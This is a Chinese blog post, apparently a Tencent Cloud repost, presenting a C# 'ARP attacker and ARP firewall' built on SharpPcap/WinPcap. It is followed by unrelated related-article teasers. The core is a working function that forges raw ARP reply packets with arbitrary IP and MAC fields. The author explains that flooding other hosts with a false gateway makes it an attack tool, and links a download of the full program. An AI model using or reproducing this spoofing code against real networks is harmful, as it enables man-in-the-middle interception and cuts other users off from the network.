c# 写的ARP攻击器和ARP防火墙

     首先你要先看看ARP是什么东西,我就不给你讲了。知道原理就行。

我这个代码是调用开源项目SharpPcap开源的网络捕获项目http://sourceforge.net/projects/sharppcap/

  这个项目和所有sniffer软件一样,是用wincap库的。需要安装wincap。http://www.winpcap.org/

核心代码贴出了,就是这么简单,手动构造ARP数据包,然后通过sharppcap里的库发送出去。。。

不停的发给自己正确的网关,那就是ARP防火墙。

不停的发给别人错误的网关,那就是ARP攻击器。

        /// <summary>
        /// 获取数据包
        /// </summary>
        /// <returns></returns>
        public byte[] getPacket(byte[] yIP,byte[] mIP,byte[] yMAC,byte[] mMAC)
        {
            //ARP数据包
            byte[] packet = new byte[] { 0xe0, 0xcb, 0x4e, 0x2f, 0x8a, 0xc7, 0x00, 0x23, 0xcd, 0x34, 0x20, 0x0e, 0x08, 0x06, 0x00, 0x01, 0x08, 0x00, 0x06, 0x04, 0x00, 0x02, 0x00, 0x23, 0xcd, 0x34, 0x20, 0x0e, 0xc0, 0xa8, 0x01, 0x01, 0xe0, 0xcb, 0x4e, 0x2f, 0x8a, 0xc7, 0xc0, 0xa8, 0x01, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5d, 0x27, 0xa1, 0xb5};

            //循环替换IP
            for (int i = 0; i < 4; i++)
            {
                packet[i + 28] = yIP[i];

               
                packet[i + 38] = mIP[i];
            }

            //循环替换MAC
            for (int i = 0; i < 6; i++)
            {
                packet[i+ 22] = yMAC[i];
                packet[i] = mMAC[i];
                packet[i+6] = yMAC[i]; 
                packet[i + 32] = mMAC[i];
            }

            return packet;
        }

看看这个链接能下不  http://files.cnblogs.com/zifeiniu/ARP%E6%94%BB%E5%87%BB%E5%92%8C%E9%98%B2%E7%81%AB%E5%A2%99.rar

                             子非牛  QQ 378716196

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏计算机视觉

tensorboard 出现6006端口绑定的情况

tensorboard --logdir=/tmp/tensorflow_logs   这句话执行时出现了下面错误 TensorBoard attempted ...

4027
来自专栏HTML5学堂

前端工程化 | 揭秘程序员的提速“外挂”

前端开发的工作往往需要把LESS/SASS编译成CSS文件,对多个JS、CSS文件进行合并与压缩处理,对JS、CSS进行语法的检查等,上面提到的这些都是一些重复...

39811
来自专栏吴伟祥

HTTP 和 Socket 的区别 原

      在学校的时候学过,网络七层,也知道tcp的三次握手.但因为根本没用在实际开发中,所以逐渐淡忘.现在就再次理解下三个的区别与联系.

922
来自专栏向治洪

maven配置详解

什么是pom?     pom作为项目对象模型。通过xml表示maven项目,使用pom.xml来实现。主要描述了项目:包括配置文件;开发者需要遵循的规则,缺...

2375
来自专栏Java学习123

如何修改tomcat的默认端口号

3136
来自专栏windealli

socket常用函数知识点整理

调用close() 之后,进程不能再使用该描述符。 但是已经发送队列中的数据还是会继续发送,等到发送回再发起四次挥手。

3082
来自专栏图像识别与深度学习

Android多线程消息处理机制

1945
来自专栏技术博文

HTTP、TCP、UDP

TCP   HTTP   UDP: 都是通信协议,也就是通信时所遵守的规则,只有双方按照这个规则“说话”,对方才能理解或为之服务。 TCP   HTTP   U...

3898
来自专栏后端技术探索

Nginx防止大图片占满带宽

修改nginx配置文件中图片访问的配置部分 对于正常小图的访问不限制,把正常图的大小限定为 100K 以内,超出时就进行限速,速度限定为最大 100k/s

882
来自专栏mathor

网络协议详解

地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送消息时将包含目标I...

1853

扫码关注云+社区

领取腾讯云代金券